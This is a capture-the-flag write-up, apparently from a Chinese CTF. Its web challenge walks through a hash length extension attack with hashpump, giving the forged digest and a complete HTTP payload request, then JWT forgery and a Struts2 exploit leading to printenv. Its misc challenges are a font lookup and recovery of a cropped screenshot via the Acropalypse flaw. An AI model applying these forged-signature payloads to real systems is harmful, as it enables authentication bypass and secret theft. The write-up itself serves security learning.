web
jwt2struts
解题
抓包
访问JWT_key.php
<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
if ($username === "admin" && $password != "root") {
if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
die ("The secret_key is ". $secret_key);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("no no no");
}
}
目的就是通过两个if然后得到secret key去修改jwt,以admin登录
这里用hash扩展长度攻击,参考链接
整理已知信息
- 密文:长度14,加上username的值是19
- 数据:root
- 签名(hash):e6ccbf12de9d33ec27a5bcfb6a3293df
使用hashpump
└─# hashpump
Input Signature: e6ccbf12de9d33ec27a5bcfb6a3293df
Input Data: root
Input Key Length: 19
Input Data to Add: pcat
2172da389aa982830f221675fd46b1d2
root\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\00\x00\x00\x00\x00pcat
替换\x
root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00\00%00%00%00%00pcat
payload
POST /JWT_key.php HTTP/1.1
Host: 140.210.223.216:55557
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: digest=2172da389aa982830f221675fd46b1d2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00pcat
拿到secret key:sk-he00lctf3r
解密jwt,在线工具
改为admin
用新的token替换之前的,重定向到一个登录页面
并且显示struts2,利用这个框架的漏洞去打
之后就是找flag,翻了一圈没有……结果在环境里……
printenv
总结
- 考察hash扩展长度攻击
- 考察jwt
- 考察struts2
misc
old language
题干
AN ancient old language
附件
解题
就直接百度硬搜:古老的语言
还真就搜到了
https://zh.fonts2u.com/dovahkiin.字体
直接得到英文GIKRVZY,至于为什么是大写,因为题干中AN大写了(随便猜的)
snippingTools
题干
Alice在参加某个CTF比赛,她成功的解出了一道题,拿到了flag。她很开心,迫不及待地想要向Bob分享她的喜悦。于是按下了快捷键Shift+Win+S
使用了Windows 11的截图工具,截取了整个屏幕,并且保存为文件1.png
。然后,考虑到比赛规则中规定flag需要保密,她使用了截图工具中的“裁剪”功能,将flag裁剪掉了一部分,然后将裁剪结果覆盖了原文件1.png
并保存。最终,她将1.png
发给了Bob。Bob马上就知道了她的整个flag,你知道是如何做到的吗?
附件
解题
根据题干,就是恢复用win11截图工具裁剪的图片
网上搜了一下,得到关键词Acropalypse
GitHub上搜一下有关的脚本
https://github.com/unrealwill/jpguncrop
得到完整图片